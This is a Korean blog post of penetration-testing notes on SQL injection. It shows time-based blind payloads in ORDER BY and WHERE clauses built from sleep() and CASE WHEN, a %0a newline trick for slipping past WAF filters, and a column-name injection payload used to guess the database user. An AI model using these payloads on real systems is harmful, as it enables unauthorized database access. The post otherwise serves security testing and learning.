모의해킹 진단 - SQL Injection 편 (1)
본문 바로가기

WEB/모의해킹 진단

모의해킹 진단 - SQL Injection 편 (1)

SQL injection 잘 찾고 싶다..

지금까지 겪어봤던 injection 공격POINT들 (blind / timebase ) 

1. 정렬 관련.. 예를 들어, order by DESC/ASC 

2. 조회 관련 


정렬 경우

기본적인 SQL 구문 : select * from table_name where name like '%test%' order by DESC;

이런 경우가 많은데 첫 프로젝트에서는 http request 값에 형식이 이러했다. json 형식으로..

[ "order_column1":"ABCD","order_how":"ASC" ]  그래서 여기 order_how 입력값에 sql 문을 넣는 식!

 

이때는 timebased가 먹혔기 때문에

select * from table_name where name like '%test%' order by DESC, (select sleep(10)) ; 이런식으로 DESC,뒤에 시간지연 함수들을 써주면 된다.  *파란색 색칠된 부분이 입력값이 됨.

true  > 시간 지연 발생 / False > 시간 지연 미발생

select * from table_name where name like '%test%' order by DESC, (select sleep(10) where substr(user,1,1)='a') ;

이런 식으로 넣어주면 user명을 추측할 수 있음. where 절이 true면 시간 지연 발생!

 

다음은, CASE WHEN 구문을 사용해서 time base 수행

select * from table_name where name like '%test%' order by DESC,(select case when substr(user,1,1)='a'  then (select sleep(10)) else NULL end)

만약 user명이 a로 시작하는 게 true라면, select sleep(10) 수행
만약 user명이 a가 아니라면, NULL 반환

또! 가끔 CASE WHEN 구문 자체를 정규식으로나 WAF에서 필터링하는 경우가 있다. 이럴 때는

DESC,(select case when substr(user,1,1)='a'  %0a then (select sleep(10)) else NULL end)  

%0a 나 %0d와 같은 개행 인코딩 값을 넣어주면 개행되면서 필터링에 걸리지 않는다.

 


조회 관련 - 1

기본적인 SQL 구문 : select * from table_name where name like '%test%' and status = '01';

이런 식으로 어떠한 조건에 맞는 데이터들을 조회하는 경우였다. 이때의 공격 포인트는 status 파라미터이다. 

 

- case when 문을 사용해서 blind injection 시도하기

select * from table_name where name like '%test%' and status = '01'; (원래 구문 추측)

* 여기서 중요한 점은 status가 받는 입력값이 숫자형 이라는 것이다!!!! 
* 만약, 숫자형이 아니라 status가 받는 입력값이 문자형(string)이라면?????

 

SQL 테스트 (fiddle 에서 테스트 진행, DB는 Postgresql)

1=1  true ) id = '02'
1=2 false ) id = '05'

ID 필드는 현재 문자형으로 데이터를 받는다.

select * from sql_test_a where id = '   '||(CASE WHEN 1=1 THEN '02' ELSE '05' END)||' ' and '1'='1';
(* 뒤에 [and '1'='1'] 를 넣은 이유는 실제 진단할 때 공격구문을 넣을 곳 뒤에 어떤 값이 올지도 모르기 때문에 ...) 

문자형이기 때문에 문자를 연결하는 ||를 이용하였고, 02값을 넣을 때 '02'로 싱글쿼터안에 포함시켜 문자임을 나타낸다. 

 


1=1  true ) id = 01
1=2 false ) id = 03

반대로, ID 필드가 숫자형으로 데이터를 받는다면,

select * from sql_test_a where id = (CASE WHEN 1=1 THEN 01 ELSE 03 END) and '1'='1';

SQL 쿼리에서 숫자형을 입력받을 때는 어떤 언어이든지 간에... 싱글쿼터에 담아서 넣지 않는다. 

→ INSERT INTO sql_test_a (ID, FIRST_NAME, LAST_NAME) VALUES (01, 'John', 'Snow'); 

그래서, 숫자형으로 들어간다면 ' ' 신경 안 써도 된다!!!

 


이건 조금 다른 케이스인데 보통 입력값을 넣었을 때 뒤에 공격구문을 쓰는 편인데, 정상값 뒤에 뭐가 오든지 간에 다 필터링이 되어 뒤에 넣을 수 없었다. 

예시 쿼리는 다음과 같다 (추측)

select * from table_name where search_name like '%test%' and data1 = 'TTT' and ~~~~ ; (조건들이 더 붙었음)

POST BODY에는 다음과 같다. (JSON 형식)

[{"data0":" ","data1":"TTT","search_name":"test"}] 이런식...

 

기본적으로 생각하면
select * from table_name where data1 = 'TTT' and search_name = 'test';        이렇게 들어간다고 생각하기 쉬운데..!

진단상으로는 
select * from table_name where TTT='test';             data1에서 받은 값이 db에서 test를 검색하는 필드명으로 바로 들어감.

약간, 조회할 필드명을 사용자가 선택하도록 하고 거기서 그 뒤에 search_name으로 데이터를 검색하는 느낌이다.

예를들어, title에서 test를 검색한다면... 원래는 내부에서 title은 고정으로 들어가고 test값만 동적으로 들어갈텐데, title 까지도 동적으로 들어가는 쿼리인 셈..

 

TTT가 필드명으로 들어가기 때문에 싱글쿼터가 없다. 

select * from table_name where (1=1) and TTT='test';

전달값 )        [{"data0":" ","data1":"(1=1) and TTT","search_name":"test"}] 

그래서 TTT 앞에 임의의 쿼리문들을 넣어서 Blind injection이 가능하다.

(1=1) 부분에 참 거짓으로 user명 파악 가능했다!!!!!

그때 찾았던 payload : (user='admin')+and+TTT   

 

'WEB > 모의해킹 진단' 카테고리의 다른 글

웹 URL 인코딩  (0) 2023.05.21
Payload  (0) 2023.05.21
모의해킹 진단 - SQL 편 (2)  (0) 2023.05.16
sql injection 자동화도구 N3015M 사용법  (1) 2023.04.16